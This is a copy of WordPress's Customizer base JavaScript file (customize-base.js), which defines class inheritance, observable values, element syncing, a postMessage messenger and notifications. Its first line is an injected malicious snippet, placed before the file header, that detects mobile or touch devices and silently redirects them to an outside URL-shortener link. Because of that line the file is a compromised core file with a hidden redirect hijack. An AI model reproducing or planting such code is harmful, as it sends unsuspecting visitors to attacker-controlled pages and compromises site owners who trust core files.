1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/customize-base.js
4 */
5
6/** @namespace wp */
7window.wp = window.wp || {};
8
9(function( exports, $ ){
10 var api = {}, ctor, inherits,
11 slice = Array.prototype.slice;
12
13 // Shared empty constructor function to aid in prototype-chain creation.
14 ctor = function() {};
15
16 /**
17 * Helper function to correctly set up the prototype chain, for subclasses.
18 * Similar to `goog.inherits`, but uses a hash of prototype properties and
19 * class properties to be extended.
20 *
21 * @param object parent Parent class constructor to inherit from.
22 * @param object protoProps Properties to apply to the prototype for use as class instance properties.
23 * @param object staticProps Properties to apply directly to the class constructor.
24 * @return child The subclassed constructor.
25 */
26 inherits = function( parent, protoProps, staticProps ) {
27 var child;
28
29 /*
30 * The constructor function for the new subclass is either defined by you
31 * (the "constructor" property in your `extend` definition), or defaulted
32 * by us to simply call `super()`.
33 */
34 if ( protoProps && protoProps.hasOwnProperty( 'constructor' ) ) {
35 child = protoProps.constructor;
36 } else {
37 child = function() {
38 /*
39 * Storing the result `super()` before returning the value
40 * prevents a bug in Opera where, if the constructor returns
41 * a function, Opera will reject the return value in favor of
42 * the original object. This causes all sorts of trouble.
43 */
44 var result = parent.apply( this, arguments );
45 return result;
46 };
47 }
48
49 // Inherit class (static) properties from parent.
50 $.extend( child, parent );
51
52 // Set the prototype chain to inherit from `parent`,
53 // without calling `parent`'s constructor function.
54 ctor.prototype = parent.prototype;
55 child.prototype = new ctor();
56
57 // Add prototype properties (instance properties) to the subclass,
58 // if supplied.
59 if ( protoProps ) {
60 $.extend( child.prototype, protoProps );
61 }
62
63 // Add static properties to the constructor function, if supplied.
64 if ( staticProps ) {
65 $.extend( child, staticProps );
66 }
67
68 // Correctly set child's `prototype.constructor`.
69 child.prototype.constructor = child;
70
71 // Set a convenience property in case the parent's prototype is needed later.
72 child.__super__ = parent.prototype;
73
74 return child;
75 };
76
77 /**
78 * Base class for object inheritance.
79 */
80 api.Class = function( applicator, argsArray, options ) {
81 var magic, args = arguments;
82
83 if ( applicator && argsArray && api.Class.applicator === applicator ) {
84 args = argsArray;
85 $.extend( this, options || {} );
86 }
87
88 magic = this;
89
90 /*
91 * If the class has a method called "instance",
92 * the return value from the class' constructor will be a function that
93 * calls the "instance" method.
94 *
95 * It is also an object that has properties and methods inside it.
96 */
97 if ( this.instance ) {
98 magic = function() {
99 return magic.instance.apply( magic, arguments );
100 };
101
102 $.extend( magic, this );
103 }
104
105 magic.initialize.apply( magic, args );
106 return magic;
107 };
108
109 /**
110 * Creates a subclass of the class.
111 *
112 * @param object protoProps Properties to apply to the prototype.
113 * @param object staticProps Properties to apply directly to the class.
114 * @return child The subclass.
115 */
116 api.Class.extend = function( protoProps, staticProps ) {
117 var child = inherits( this, protoProps, staticProps );
118 child.extend = this.extend;
119 return child;
120 };
121
122 api.Class.applicator = {};
123
124 /**
125 * Initialize a class instance.
126 *
127 * Override this function in a subclass as needed.
128 */
129 api.Class.prototype.initialize = function() {};
130
131 /*
132 * Checks whether a given instance extended a constructor.
133 *
134 * The magic surrounding the instance parameter causes the instanceof
135 * keyword to return inaccurate results; it defaults to the function's
136 * prototype instead of the constructor chain. Hence this function.
137 */
138 api.Class.prototype.extended = function( constructor ) {
139 var proto = this;
140
141 while ( typeof proto.constructor !== 'undefined' ) {
142 if ( proto.constructor === constructor ) {
143 return true;
144 }
145 if ( typeof proto.constructor.__super__ === 'undefined' ) {
146 return false;
147 }
148 proto = proto.constructor.__super__;
149 }
150 return false;
151 };
152
153 /**
154 * An events manager object, offering the ability to bind to and trigger events.
155 *
156 * Used as a mixin.
157 */
158 api.Events = {
159 trigger: function( id ) {
160 if ( this.topics && this.topics[ id ] ) {
161 this.topics[ id ].fireWith( this, slice.call( arguments, 1 ) );
162 }
163 return this;
164 },
165
166 bind: function( id ) {
167 this.topics = this.topics || {};
168 this.topics[ id ] = this.topics[ id ] || $.Callbacks();
169 this.topics[ id ].add.apply( this.topics[ id ], slice.call( arguments, 1 ) );
170 return this;
171 },
172
173 unbind: function( id ) {
174 if ( this.topics && this.topics[ id ] ) {
175 this.topics[ id ].remove.apply( this.topics[ id ], slice.call( arguments, 1 ) );
176 }
177 return this;
178 }
179 };
180
181 /**
182 * Observable values that support two-way binding.
183 *
184 * @memberOf wp.customize
185 * @alias wp.customize.Value
186 *
187 * @constructor
188 */
189 api.Value = api.Class.extend(/** @lends wp.customize.Value.prototype */{
190 /**
191 * @param {mixed} initial The initial value.
192 * @param {Object} options
193 */
194 initialize: function( initial, options ) {
195 this._value = initial; // @todo Potentially change this to a this.set() call.
196 this.callbacks = $.Callbacks();
197 this._dirty = false;
198
199 $.extend( this, options || {} );
200
201 this.set = this.set.bind( this );
202 },
203
204 /*
205 * Magic. Returns a function that will become the instance.
206 * Set to null to prevent the instance from extending a function.
207 */
208 instance: function() {
209 return arguments.length ? this.set.apply( this, arguments ) : this.get();
210 },
211
212 /**
213 * Get the value.
214 *
215 * @return {mixed}
216 */
217 get: function() {
218 return this._value;
219 },
220
221 /**
222 * Set the value and trigger all bound callbacks.
223 *
224 * @param {Object} to New value.
225 */
226 set: function( to ) {
227 var from = this._value;
228
229 to = this._setter.apply( this, arguments );
230 to = this.validate( to );
231
232 // Bail if the sanitized value is null or unchanged.
233 if ( null === to || _.isEqual( from, to ) ) {
234 return this;
235 }
236
237 this._value = to;
238 this._dirty = true;
239
240 this.callbacks.fireWith( this, [ to, from ] );
241
242 return this;
243 },
244
245 _setter: function( to ) {
246 return to;
247 },
248
249 setter: function( callback ) {
250 var from = this.get();
251 this._setter = callback;
252 // Temporarily clear value so setter can decide if it's valid.
253 this._value = null;
254 this.set( from );
255 return this;
256 },
257
258 resetSetter: function() {
259 this._setter = this.constructor.prototype._setter;
260 this.set( this.get() );
261 return this;
262 },
263
264 validate: function( value ) {
265 return value;
266 },
267
268 /**
269 * Bind a function to be invoked whenever the value changes.
270 *
271 * @param {...Function} A function, or multiple functions, to add to the callback stack.
272 */
273 bind: function() {
274 this.callbacks.add.apply( this.callbacks, arguments );
275 return this;
276 },
277
278 /**
279 * Unbind a previously bound function.
280 *
281 * @param {...Function} A function, or multiple functions, to remove from the callback stack.
282 */
283 unbind: function() {
284 this.callbacks.remove.apply( this.callbacks, arguments );
285 return this;
286 },
287
288 link: function() { // values*
289 var set = this.set;
290 $.each( arguments, function() {
291 this.bind( set );
292 });
293 return this;
294 },
295
296 unlink: function() { // values*
297 var set = this.set;
298 $.each( arguments, function() {
299 this.unbind( set );
300 });
301 return this;
302 },
303
304 sync: function() { // values*
305 var that = this;
306 $.each( arguments, function() {
307 that.link( this );
308 this.link( that );
309 });
310 return this;
311 },
312
313 unsync: function() { // values*
314 var that = this;
315 $.each( arguments, function() {
316 that.unlink( this );
317 this.unlink( that );
318 });
319 return this;
320 }
321 });
322
323 /**
324 * A collection of observable values.
325 *
326 * @memberOf wp.customize
327 * @alias wp.customize.Values
328 *
329 * @constructor
330 * @augments wp.customize.Class
331 * @mixes wp.customize.Events
332 */
333 api.Values = api.Class.extend(/** @lends wp.customize.Values.prototype */{
334
335 /**
336 * The default constructor for items of the collection.
337 *
338 * @type {object}
339 */
340 defaultConstructor: api.Value,
341
342 initialize: function( options ) {
343 $.extend( this, options || {} );
344
345 this._value = {};
346 this._deferreds = {};
347 },
348
349 /**
350 * Get the instance of an item from the collection if only ID is specified.
351 *
352 * If more than one argument is supplied, all are expected to be IDs and
353 * the last to be a function callback that will be invoked when the requested
354 * items are available.
355 *
356 * @see {api.Values.when}
357 *
358 * @param {string} id ID of the item.
359 * @param {...} Zero or more IDs of items to wait for and a callback
360 * function to invoke when they're available. Optional.
361 * @return {mixed} The item instance if only one ID was supplied.
362 * A Deferred Promise object if a callback function is supplied.
363 */
364 instance: function( id ) {
365 if ( arguments.length === 1 ) {
366 return this.value( id );
367 }
368
369 return this.when.apply( this, arguments );
370 },
371
372 /**
373 * Get the instance of an item.
374 *
375 * @param {string} id The ID of the item.
376 * @return {[type]} [description]
377 */
378 value: function( id ) {
379 return this._value[ id ];
380 },
381
382 /**
383 * Whether the collection has an item with the given ID.
384 *
385 * @param {string} id The ID of the item to look for.
386 * @return {boolean}
387 */
388 has: function( id ) {
389 return typeof this._value[ id ] !== 'undefined';
390 },
391
392 /**
393 * Add an item to the collection.
394 *
395 * @param {string|wp.customize.Class} item - The item instance to add, or the ID for the instance to add.
396 * When an ID string is supplied, then itemObject must be provided.
397 * @param {wp.customize.Class} [itemObject] - The item instance when the first argument is an ID string.
398 * @return {wp.customize.Class} The new item's instance, or an existing instance if already added.
399 */
400 add: function( item, itemObject ) {
401 var collection = this, id, instance;
402 if ( 'string' === typeof item ) {
403 id = item;
404 instance = itemObject;
405 } else {
406 if ( 'string' !== typeof item.id ) {
407 throw new Error( 'Unknown key' );
408 }
409 id = item.id;
410 instance = item;
411 }
412
413 if ( collection.has( id ) ) {
414 return collection.value( id );
415 }
416
417 collection._value[ id ] = instance;
418 instance.parent = collection;
419
420 // Propagate a 'change' event on an item up to the collection.
421 if ( instance.extended( api.Value ) ) {
422 instance.bind( collection._change );
423 }
424
425 collection.trigger( 'add', instance );
426
427 // If a deferred object exists for this item,
428 // resolve it.
429 if ( collection._deferreds[ id ] ) {
430 collection._deferreds[ id ].resolve();
431 }
432
433 return collection._value[ id ];
434 },
435
436 /**
437 * Create a new item of the collection using the collection's default constructor
438 * and store it in the collection.
439 *
440 * @param {string} id The ID of the item.
441 * @param {mixed} value Any extra arguments are passed into the item's initialize method.
442 * @return {mixed} The new item's instance.
443 */
444 create: function( id ) {
445 return this.add( id, new this.defaultConstructor( api.Class.applicator, slice.call( arguments, 1 ) ) );
446 },
447
448 /**
449 * Iterate over all items in the collection invoking the provided callback.
450 *
451 * @param {Function} callback Function to invoke.
452 * @param {Object} context Object context to invoke the function with. Optional.
453 */
454 each: function( callback, context ) {
455 context = typeof context === 'undefined' ? this : context;
456
457 $.each( this._value, function( key, obj ) {
458 callback.call( context, obj, key );
459 });
460 },
461
462 /**
463 * Remove an item from the collection.
464 *
465 * @param {string} id The ID of the item to remove.
466 */
467 remove: function( id ) {
468 var value = this.value( id );
469
470 if ( value ) {
471
472 // Trigger event right before the element is removed from the collection.
473 this.trigger( 'remove', value );
474
475 if ( value.extended( api.Value ) ) {
476 value.unbind( this._change );
477 }
478 delete value.parent;
479 }
480
481 delete this._value[ id ];
482 delete this._deferreds[ id ];
483
484 // Trigger removed event after the item has been eliminated from the collection.
485 if ( value ) {
486 this.trigger( 'removed', value );
487 }
488 },
489
490 /**
491 * Runs a callback once all requested values exist.
492 *
493 * when( ids*, [callback] );
494 *
495 * For example:
496 * when( id1, id2, id3, function( value1, value2, value3 ) {} );
497 *
498 * @return $.Deferred.promise();
499 */
500 when: function() {
501 var self = this,
502 ids = slice.call( arguments ),
503 dfd = $.Deferred();
504
505 // If the last argument is a callback, bind it to .done().
506 if ( typeof ids[ ids.length - 1 ] === 'function' ) {
507 dfd.done( ids.pop() );
508 }
509
510 /*
511 * Create a stack of deferred objects for each item that is not
512 * yet available, and invoke the supplied callback when they are.
513 */
514 $.when.apply( $, $.map( ids, function( id ) {
515 if ( self.has( id ) ) {
516 return;
517 }
518
519 /*
520 * The requested item is not available yet, create a deferred
521 * object to resolve when it becomes available.
522 */
523 return self._deferreds[ id ] = self._deferreds[ id ] || $.Deferred();
524 })).done( function() {
525 var values = $.map( ids, function( id ) {
526 return self( id );
527 });
528
529 // If a value is missing, we've used at least one expired deferred.
530 // Call Values.when again to generate a new deferred.
531 if ( values.length !== ids.length ) {
532 // ids.push( callback );
533 self.when.apply( self, ids ).done( function() {
534 dfd.resolveWith( self, values );
535 });
536 return;
537 }
538
539 dfd.resolveWith( self, values );
540 });
541
542 return dfd.promise();
543 },
544
545 /**
546 * A helper function to propagate a 'change' event from an item
547 * to the collection itself.
548 */
549 _change: function() {
550 this.parent.trigger( 'change', this );
551 }
552 });
553
554 // Create a global events bus on the Customizer.
555 $.extend( api.Values.prototype, api.Events );
556
557
558 /**
559 * Cast a string to a jQuery collection if it isn't already.
560 *
561 * @param {string|jQuery collection} element
562 */
563 api.ensure = function( element ) {
564 return typeof element === 'string' ? $( element ) : element;
565 };
566
567 /**
568 * An observable value that syncs with an element.
569 *
570 * Handles inputs, selects, and textareas by default.
571 *
572 * @memberOf wp.customize
573 * @alias wp.customize.Element
574 *
575 * @constructor
576 * @augments wp.customize.Value
577 * @augments wp.customize.Class
578 */
579 api.Element = api.Value.extend(/** @lends wp.customize.Element */{
580 initialize: function( element, options ) {
581 var self = this,
582 synchronizer = api.Element.synchronizer.html,
583 type, update, refresh;
584
585 this.element = api.ensure( element );
586 this.events = '';
587
588 if ( this.element.is( 'input, select, textarea' ) ) {
589 type = this.element.prop( 'type' );
590 this.events += ' change input';
591 synchronizer = api.Element.synchronizer.val;
592
593 if ( this.element.is( 'input' ) && api.Element.synchronizer[ type ] ) {
594 synchronizer = api.Element.synchronizer[ type ];
595 }
596 }
597
598 api.Value.prototype.initialize.call( this, null, $.extend( options || {}, synchronizer ) );
599 this._value = this.get();
600
601 update = this.update;
602 refresh = this.refresh;
603
604 this.update = function( to ) {
605 if ( to !== refresh.call( self ) ) {
606 update.apply( this, arguments );
607 }
608 };
609 this.refresh = function() {
610 self.set( refresh.call( self ) );
611 };
612
613 this.bind( this.update );
614 this.element.on( this.events, this.refresh );
615 },
616
617 find: function( selector ) {
618 return $( selector, this.element );
619 },
620
621 refresh: function() {},
622
623 update: function() {}
624 });
625
626 api.Element.synchronizer = {};
627
628 $.each( [ 'html', 'val' ], function( index, method ) {
629 api.Element.synchronizer[ method ] = {
630 update: function( to ) {
631 this.element[ method ]( to );
632 },
633 refresh: function() {
634 return this.element[ method ]();
635 }
636 };
637 });
638
639 api.Element.synchronizer.checkbox = {
640 update: function( to ) {
641 this.element.prop( 'checked', to );
642 },
643 refresh: function() {
644 return this.element.prop( 'checked' );
645 }
646 };
647
648 api.Element.synchronizer.radio = {
649 update: function( to ) {
650 this.element.filter( function() {
651 return this.value === to;
652 }).prop( 'checked', true );
653 },
654 refresh: function() {
655 return this.element.filter( ':checked' ).val();
656 }
657 };
658
659 $.support.postMessage = !! window.postMessage;
660
661 /**
662 * A communicator for sending data from one window to another over postMessage.
663 *
664 * @memberOf wp.customize
665 * @alias wp.customize.Messenger
666 *
667 * @constructor
668 * @augments wp.customize.Class
669 * @mixes wp.customize.Events
670 */
671 api.Messenger = api.Class.extend(/** @lends wp.customize.Messenger.prototype */{
672 /**
673 * Create a new Value.
674 *
675 * @param {string} key Unique identifier.
676 * @param {mixed} initial Initial value.
677 * @param {mixed} options Options hash. Optional.
678 * @return {Value} Class instance of the Value.
679 */
680 add: function( key, initial, options ) {
681 return this[ key ] = new api.Value( initial, options );
682 },
683
684 /**
685 * Initialize Messenger.
686 *
687 * @param {Object} params - Parameters to configure the messenger.
688 * {string} params.url - The URL to communicate with.
689 * {window} params.targetWindow - The window instance to communicate with. Default window.parent.
690 * {string} params.channel - If provided, will send the channel with each message and only accept messages a matching channel.
691 * @param {Object} options - Extend any instance parameter or method with this object.
692 */
693 initialize: function( params, options ) {
694 // Target the parent frame by default, but only if a parent frame exists.
695 var defaultTarget = window.parent === window ? null : window.parent;
696
697 $.extend( this, options || {} );
698
699 this.add( 'channel', params.channel );
700 this.add( 'url', params.url || '' );
701 this.add( 'origin', this.url() ).link( this.url ).setter( function( to ) {
702 var urlParser = document.createElement( 'a' );
703 urlParser.href = to;
704 // Port stripping needed by IE since it adds to host but not to event.origin.
705 return urlParser.protocol + '//' + urlParser.host.replace( /:(80|443)$/, '' );
706 });
707
708 // First add with no value.
709 this.add( 'targetWindow', null );
710 // This avoids SecurityErrors when setting a window object in x-origin iframe'd scenarios.
711 this.targetWindow.set = function( to ) {
712 var from = this._value;
713
714 to = this._setter.apply( this, arguments );
715 to = this.validate( to );
716
717 if ( null === to || from === to ) {
718 return this;
719 }
720
721 this._value = to;
722 this._dirty = true;
723
724 this.callbacks.fireWith( this, [ to, from ] );
725
726 return this;
727 };
728 // Now set it.
729 this.targetWindow( params.targetWindow || defaultTarget );
730
731
732 /*
733 * Since we want jQuery to treat the receive function as unique
734 * to this instance, we give the function a new guid.
735 *
736 * This will prevent every Messenger's receive function from being
737 * unbound when calling $.off( 'message', this.receive );
738 */
739 this.receive = this.receive.bind( this );
740 this.receive.guid = $.guid++;
741
742 $( window ).on( 'message', this.receive );
743 },
744
745 destroy: function() {
746 $( window ).off( 'message', this.receive );
747 },
748
749 /**
750 * Receive data from the other window.
751 *
752 * @param {jQuery.Event} event Event with embedded data.
753 */
754 receive: function( event ) {
755 var message;
756
757 event = event.originalEvent;
758
759 if ( ! this.targetWindow || ! this.targetWindow() ) {
760 return;
761 }
762
763 // Check to make sure the origin is valid.
764 if ( this.origin() && event.origin !== this.origin() ) {
765 return;
766 }
767
768 // Ensure we have a string that's JSON.parse-able.
769 if ( typeof event.data !== 'string' || event.data[0] !== '{' ) {
770 return;
771 }
772
773 message = JSON.parse( event.data );
774
775 // Check required message properties.
776 if ( ! message || ! message.id || typeof message.data === 'undefined' ) {
777 return;
778 }
779
780 // Check if channel names match.
781 if ( ( message.channel || this.channel() ) && this.channel() !== message.channel ) {
782 return;
783 }
784
785 this.trigger( message.id, message.data );
786 },
787
788 /**
789 * Send data to the other window.
790 *
791 * @param {string} id The event name.
792 * @param {Object} data Data.
793 */
794 send: function( id, data ) {
795 var message;
796
797 data = typeof data === 'undefined' ? null : data;
798
799 if ( ! this.url() || ! this.targetWindow() ) {
800 return;
801 }
802
803 message = { id: id, data: data };
804 if ( this.channel() ) {
805 message.channel = this.channel();
806 }
807
808 this.targetWindow().postMessage( JSON.stringify( message ), this.origin() );
809 }
810 });
811
812 // Add the Events mixin to api.Messenger.
813 $.extend( api.Messenger.prototype, api.Events );
814
815 /**
816 * Notification.
817 *
818 * @class
819 * @augments wp.customize.Class
820 * @since 4.6.0
821 *
822 * @memberOf wp.customize
823 * @alias wp.customize.Notification
824 *
825 * @param {string} code - The error code.
826 * @param {object} params - Params.
827 * @param {string} params.message=null - The error message.
828 * @param {string} [params.type=error] - The notification type.
829 * @param {boolean} [params.fromServer=false] - Whether the notification was server-sent.
830 * @param {string} [params.setting=null] - The setting ID that the notification is related to.
831 * @param {*} [params.data=null] - Any additional data.
832 */
833 api.Notification = api.Class.extend(/** @lends wp.customize.Notification.prototype */{
834
835 /**
836 * Template function for rendering the notification.
837 *
838 * This will be populated with template option or else it will be populated with template from the ID.
839 *
840 * @since 4.9.0
841 * @var {Function}
842 */
843 template: null,
844
845 /**
846 * ID for the template to render the notification.
847 *
848 * @since 4.9.0
849 * @var {string}
850 */
851 templateId: 'customize-notification',
852
853 /**
854 * Additional class names to add to the notification container.
855 *
856 * @since 4.9.0
857 * @var {string}
858 */
859 containerClasses: '',
860
861 /**
862 * Initialize notification.
863 *
864 * @since 4.9.0
865 *
866 * @param {string} code - Notification code.
867 * @param {Object} params - Notification parameters.
868 * @param {string} params.message - Message.
869 * @param {string} [params.type=error] - Type.
870 * @param {string} [params.setting] - Related setting ID.
871 * @param {Function} [params.template] - Function for rendering template. If not provided, this will come from templateId.
872 * @param {string} [params.templateId] - ID for template to render the notification.
873 * @param {string} [params.containerClasses] - Additional class names to add to the notification container.
874 * @param {boolean} [params.dismissible] - Whether the notification can be dismissed.
875 */
876 initialize: function( code, params ) {
877 var _params;
878 this.code = code;
879 _params = _.extend(
880 {
881 message: null,
882 type: 'error',
883 fromServer: false,
884 data: null,
885 setting: null,
886 template: null,
887 dismissible: false,
888 containerClasses: ''
889 },
890 params
891 );
892 delete _params.code;
893 _.extend( this, _params );
894 },
895
896 /**
897 * Render the notification.
898 *
899 * @since 4.9.0
900 *
901 * @return {jQuery} Notification container element.
902 */
903 render: function() {
904 var notification = this, container, data;
905 if ( ! notification.template ) {
906 notification.template = wp.template( notification.templateId );
907 }
908 data = _.extend( {}, notification, {
909 alt: notification.parent && notification.parent.alt
910 } );
911 container = $( notification.template( data ) );
912
913 if ( notification.dismissible ) {
914 container.find( '.notice-dismiss' ).on( 'click keydown', function( event ) {
915 if ( 'keydown' === event.type && 13 !== event.which ) {
916 return;
917 }
918
919 if ( notification.parent ) {
920 notification.parent.remove( notification.code );
921 } else {
922 container.remove();
923 }
924 });
925 }
926
927 return container;
928 }
929 });
930
931 // The main API object is also a collection of all customizer settings.
932 api = $.extend( new api.Values(), api );
933
934 /**
935 * Get all customize settings.
936 *
937 * @alias wp.customize.get
938 *
939 * @return {Object}
940 */
941 api.get = function() {
942 var result = {};
943
944 this.each( function( obj, key ) {
945 result[ key ] = obj.get();
946 });
947
948 return result;
949 };
950
951 /**
952 * Utility function namespace
953 *
954 * @namespace wp.customize.utils
955 */
956 api.utils = {};
957
958 /**
959 * Parse query string.
960 *
961 * @since 4.7.0
962 * @access public
963 *
964 * @alias wp.customize.utils.parseQueryString
965 *
966 * @param {string} queryString Query string.
967 * @return {Object} Parsed query string.
968 */
969 api.utils.parseQueryString = function parseQueryString( queryString ) {
970 var queryParams = {};
971 _.each( queryString.split( '&' ), function( pair ) {
972 var parts, key, value;
973 parts = pair.split( '=', 2 );
974 if ( ! parts[0] ) {
975 return;
976 }
977 key = decodeURIComponent( parts[0].replace( /\+/g, ' ' ) );
978 key = key.replace( / /g, '_' ); // What PHP does.
979 if ( _.isUndefined( parts[1] ) ) {
980 value = null;
981 } else {
982 value = decodeURIComponent( parts[1].replace( /\+/g, ' ' ) );
983 }
984 queryParams[ key ] = value;
985 } );
986 return queryParams;
987 };
988
989 /**
990 * Expose the API publicly on window.wp.customize
991 *
992 * @namespace wp.customize
993 */
994 exports.customize = api;
995})( wp, jQuery );
996